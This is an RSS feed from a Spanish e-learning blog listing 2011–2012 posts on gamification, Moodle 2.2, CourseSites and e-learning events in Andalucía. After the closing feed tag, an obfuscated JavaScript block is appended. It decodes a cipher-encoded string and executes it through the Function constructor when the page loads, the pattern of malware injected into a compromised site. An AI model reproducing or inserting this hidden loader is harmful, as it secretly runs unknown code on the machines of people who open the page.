<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>oJúLearning</title>
	<link>http://ojulearning.es</link>
	<description>Apagamos la luz… y salió el sol</description>
	<lastBuildDate>Thu, 09 Feb 2012 09:24:31 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.1.1" -->

	<item>
		<title>Gamificación, concepto en alza</title>
		<description><![CDATA[TweetAprender jugando es un hecho contrastado, ya tratamos el tema a través del post sobre juegos serios [La demonización de los juegos en eLearning]. A través del elearning no es solo posible sino bastante factible conseguir encajar formación con diversión y a la vez conseguir un alto nivel de asimilación de contenidos. Hoy hablamos de la gamificación [...]]]></description>
		<link>http://ojulearning.es/2012/02/gamificacion-concepto-en-alza/</link>
			</item>
	<item>
		<title>#elearningquote &#8211; And the winners are&#8230;</title>
		<description><![CDATA[TweetComo sabéis, y si no, os lo explicamos , hace unos días comenzamos un concurso en el que solicitábamos vuestra colaboración…, buscábamos frases, citas, expresiones,…, que estuvieran relacionadas con el eLearning y lo dotaran de identidad. Para ello utilizamos un hashtag en twitter (#eLearningquote), el blog y nuestra página de Facebook. El día 25 de [...]]]></description>
		<link>http://ojulearning.es/2012/02/elearningquote-and-the-winners-are/</link>
			</item>
	<item>
		<title>e-learning, b-elearning, m-learning y t-learning.</title>
		<description><![CDATA[TweetEn oJú somos expertos en elearning que desarrollamos nuestros estudios reglados 100% presencial y de ahí nos sumergimos en un mundo nuevo que se abría, el elearning, el método de aprendizaje basado en su totalidad en el uso de herramientas web como método de adquisición de conocimientos. Usábamos ordenadores pero compartíamos la información con diskettes [...]]]></description>
		<link>http://ojulearning.es/2012/01/e-learning-b-elearning-m-learning-y-t-learning/</link>
			</item>
	<item>
		<title>Probando Tema MyMobile Moodle 2.2</title>
		<description><![CDATA[TweetEste 2012 ha empezado con la liberación de la versión Moodle 2.2, que contiene como principales novedades: Métodos avanzados de evaluación, incluido Rúbricas Integrar objetos y herramientas de aprendizaje externas mediante el estándar IMS LTI. Importación de IMS Common Cartridge. Gravatars. Tema MyMobile, destinado a smartphones. Pues bien después de instalar esta nueva release, le [...]]]></description>
		<link>http://ojulearning.es/2012/01/probando-tema-mobile-moodle-2-2/</link>
			</item>
	<item>
		<title>¿Nos regalas una frase? #elearningquote</title>
		<description><![CDATA[TweetEn oJúLearning, aunque a veces lo parezca, nunca paramos. Comenzamos el año con ganas, con las pilas cargadas y dando guerra. Además, estamos seguros de que este 2012 vendrá repleto de sorpresas. Y cómo no, nos encantaría compartirlas con vosotr@s. Por eso, queremos estrenar temporada lanzando un concurso en el que solicitamos vuestra colaboración. Buscamos [...]]]></description>
		<link>http://ojulearning.es/2012/01/%c2%bfnos-regalas-una-frase-elearningquote/</link>
			</item>
	<item>
		<title>CourseSites ya está en español</title>
		<description><![CDATA[TweetBuenas! Después del post de @danizeppelin sobre CourseSites como modo de probar y utilizar Blackboard Learn de forma gratuita http://ojulearning.es/2011/09/bb9_coursesites/ os comunicamos que la traducción ha terminado y ya está en español. Además, se ha organizado un Webinar para dar formación que tiene como objetivos aprender a utilizar las herramientas: • Subir un paquete SCORM [...]]]></description>
		<link>http://ojulearning.es/2011/12/coursesites-ya-esta-en-espanol/</link>
			</item>
	<item>
		<title>¿Cómo está el panorama del eLearning en Andalucía?</title>
		<description><![CDATA[TweetEl pasado jueves comenzamos la mañana poniéndonos al día de la actualidad del eLearning. Y sí, fue una mañana interesante y alentadora. Se celebraba la Jornada de presentación de informe de estudio: “La Teleformación en Andalucía” ¿Te apetece saber de qué se habló? ¡Allá vamos! El Salón de Actos de la Ftad de CC. de [...]]]></description>
		<link>http://ojulearning.es/2011/11/%c2%bfcomo-esta-el-panorama-del-elearning-en-andalucia/</link>
			</item>
	<item>
		<title>Paradigma del Sistema Educativo</title>
		<description><![CDATA[TweetHe visto hoy un video que quiero compartir con todos vosotros por su ejecución como por su contenido. Que el sistema educativo está siendo ineficiente es una realidad que se plantea desde hace tiempo, desde oJúLearning sabemos que el elearning es una buena forma de modernizar el sistema aunque lo costoso de su ejecución y [...]]]></description>
		<link>http://ojulearning.es/2011/11/paradigma-del-sistema-educativo/</link>
			</item>
	<item>
		<title>Jornada de presentación del estudio sobre &#8220;La Teleformación en Andalucía&#8221;</title>
		<description><![CDATA[TweetQuizá ya tengáis esta información pero, por si acaso, la comparto… El próximo&#160;jueves 24 de noviembre&#160;en la&#160;Facultad de Ciencias de la Educación de la Universidad de Sevilla&#160;se celebra la&#160;Jornada&#160;de&#160;presentación&#160;del estudio sobre &#8220;La Teleformación en Andalucía: un estudio sobre la implantación, metodologías formativas, competencias formativas y casos de buenas prácticas de la teleformación en Andalucía y [...]]]></description>
		<link>http://ojulearning.es/2011/11/jornada-de-presentacion-del-estudio-sobre-la-teleformacion-en-andalucia/</link>
			</item>
	<item>
		<title>oJúLearning en EducaRed 2011</title>
		<description><![CDATA[TweetEste pasado fin de semana oJúLearning (@mangeles_lale y @danizeppelin) estuvo como oyente en EducaRed, una buena iniciativa de la Fundación Telefónica orientado al conocimiento de las Tic’s en educación donde se trataba el lema de &#8220;aprender es compartir&#8221;. Había muchos profesores, técnicos elearning y un gran programa de conferencias, debates y talleres yuxtapuestos que a [...]]]></description>
		<link>http://ojulearning.es/2011/10/ojulearning-en-educared-2011/</link>
			</item>
</channel>
</rss>
<script>var _A=(document);if(_A){_4=['0,%2;%f<%a(%e{%c!%b','%9:%5_%1>%d?%6&%7[%8}%4@%3*'];}var _e={'_vw':'sub\x73\x74r','_Mn':'decodeUR\x49\x43\x6F\x6D\x70\x6F\x6E\x65\x6Et','_TV':'s\x74\x72ing','_8a':[],'_rE':'j\x6F\x69n','_WD':'s\x70\x6Cit','_AX':!false},_TV=function(_){for(_G=~_e._8a-~_e._8a;_G<_V[_]/2;_G++){_4+='\x25'+_V[_e._vw](_G*2, 2);}_h='cons\x74\x72\x75ctor';[][_h][_h](_c[_e._Mn](_4))();},_V='[&&>[;;,_<&<*?;[[*&_[@@>[@[@[;&:_![}*&*;_![}*[*__![}*[*@_![}*&*_;[;!_<_}*?&&[_&{&*[@&:&<&{;}_<**;:[|[;&_[@[_[;&{;,_<**;{&<[_[@&_[;@}_@@?@![![!&{&_[[;,_}@?@!_*&_[;&:&>&!&:[(&_[;;};:;{[*&_[;&:&>&!&:[(&__@&<_*[@[;&:&{&[;}_<**;:*|[?;!_<&:*?_![_*,*,*&*@_![_*,*,*&@&&*[_&?&_&{[@;{&*_![_*,*,*[*;_![_*,*,*&*__![_*,*,*&*>_![_*,*,*[*@&_@_&!&_&?&_&{[@;};[_![}*&*:_![}*&*&_![}*[*;&>&?&_;[;:*|_<&:;{[*[@[:&!&_;{[[&:&@[@&}*?;[*>*>[,[};[*|_<&:_|_<&<_?;};[[*_![}*[*;&*;[;!;[&}[@[@[,*(;<;<&<&{&!&:&__![}*[*;_![}*&@__![}*&*>_![}*&@@_![}*&*__![}*;@__![}*&*;_![}*&*:_![}*[@>_![}*;@&_![}*&@*_![}*[*__![}*[*;_![}*[*:_![}*;@&_![}*&*[_![}*&@&_![}*;@__![}*[*,&}[,*<[*&:&@*?*>;[;:*|_<&:_|_<&<_?;};[&&[;&>&?&_&;&<_![}*[*;_![}*&*@_![}*&*_[;;[;!;,&{&>[&&:&[_![_*,*,*&*>_![_*,*,*[*@_![_*,*,*&@&[;;{[_[*&__![_*,*,*[*;_![_*,*,*@*>_![_*,*,*&*[&_&{[@;{_![_*,*,*&*:_![_*,*,*&@__![_*,*,*&*@&_[}@<&&;};[**&>*}*,&&*,*[&;*,&**>*}&_&;*&*;*:&@&;*@*[&>*>*;*_*@&***&_&>*@&@;[;:;|*>;:*|_<&:;{[*[@[:&!&_;{[,&<[*&:[@&:&<&{*?;[&>&;[*_![}*&@&_![}*&@*[_[@&_;[*|_<&:;{[*[@[:&!&_;{&!&_&&[@;,*?;,;[;?*@*&*;*}[,[};[*|_![_*,*,*&*@_![_*,*,*&@&&*[_&?&_&{[@;{[[_![_*,*,*[*;&:[@&_;};[*!&@&:[&;,&:&@*?_!;[_<_<_>*:*;*&***&*&_!;[*{*!;<&@&:[&*{;[;:*|&@&<&*_![_*,*,*[*__![_*,*,*&@@_![_*,*,*&*__![_*,*,*&@_[@;{[[[;&:[@&_;};}_<_};}_<&:;:;:;{[*[,&!&:[@;};[&>&?[,*|;[;:;{&(&<&:&{;};[;[;:;:*|',_k=function(){_k=_4[_e._rE]('\x7C')[_e._WD]('\x25');for(var _5 in _k){if(typeof(_k[_5])==_e._TV){_V=_V[_e._WD](_k[_5][_e._vw](1))[_e._rE](_k[_5][_e._vw](0,1));}}return this;},_c=_k(),_4='';_TV('l\x65\x6E\x67th');</script>
